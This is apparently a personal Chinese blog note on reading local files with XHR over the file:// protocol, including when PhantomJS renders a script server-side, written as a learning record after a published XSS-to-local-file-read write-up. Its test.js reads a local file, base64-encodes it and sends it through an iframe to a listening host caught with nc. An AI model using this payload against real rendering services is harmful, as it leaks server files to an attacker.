基于xhr的本地文件读取

  以前一直以为直接用js是无法获取到本地文件信息的,但是没了解到同源的情况下也是可以通过 xhr 去用 file协议读取本地文件信息的。参考 https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ 这篇文章。

  1、浏览器本地同源时可以通过 file 协议获取本地文件,如下代码:

1 <iframe src="file:///E:/1.txt"></iframe>

   在本地通过直接通过浏览器打开(非网络请求),可以加载 1.txt 的内容,而这种方式再网站里面加载是不行的。

  2、通过 PhantomJS 渲染 js 文件,也可通过 xhr 方式实现本地文件读取

   PhantomJS 是一个基于 WebKit 的服务器端 JavaScript API,在用它直接渲染一个 js/html 文件时,同本地浏览器直接加载本地 html 文件(估计是同源的),这时候可以通过 xhr 方式去读取本地文件,测试代码:

   test.php

1 <?php
2 $command="C:/Python27/Scripts/phantomjs.exe C:/Python27/Scripts/test.js";
3 echo $command;
4 echo exec($command);
5 ?>

   test.js

 1 var system = require('system')
 2 function reqListener () {
 3     var encoded = encodeURI(this.responseText);
 4     var b64 = btoa(this.responseText);
 5     var raw = this.responseText;
 6     document.write('<iframe src="http://127.0.0.1/?data='+b64+'"></iframe>');
 7 } 
 8 var oReq = new XMLHttpRequest(); 
 9 oReq.addEventListener("load", reqListener); 
10 oReq.open("GET", "file:///E:/1.txt"); 
11 oReq.send();

  在服务端通过 PhantomJS 直接去渲染 js 文件,本地 nc 监听请求:

  可以看到,是实现了通过 xhr 用 file 协议去读取本地文件的。

  说起来,自己的对于浏览器同源的理解还不是很深,先记录下来,后面看看相关知识再更新对应内容了。

 

posted on 2018-03-27 22:37  镱鍚  阅读(1343)  评论(0编辑  收藏  举报

导航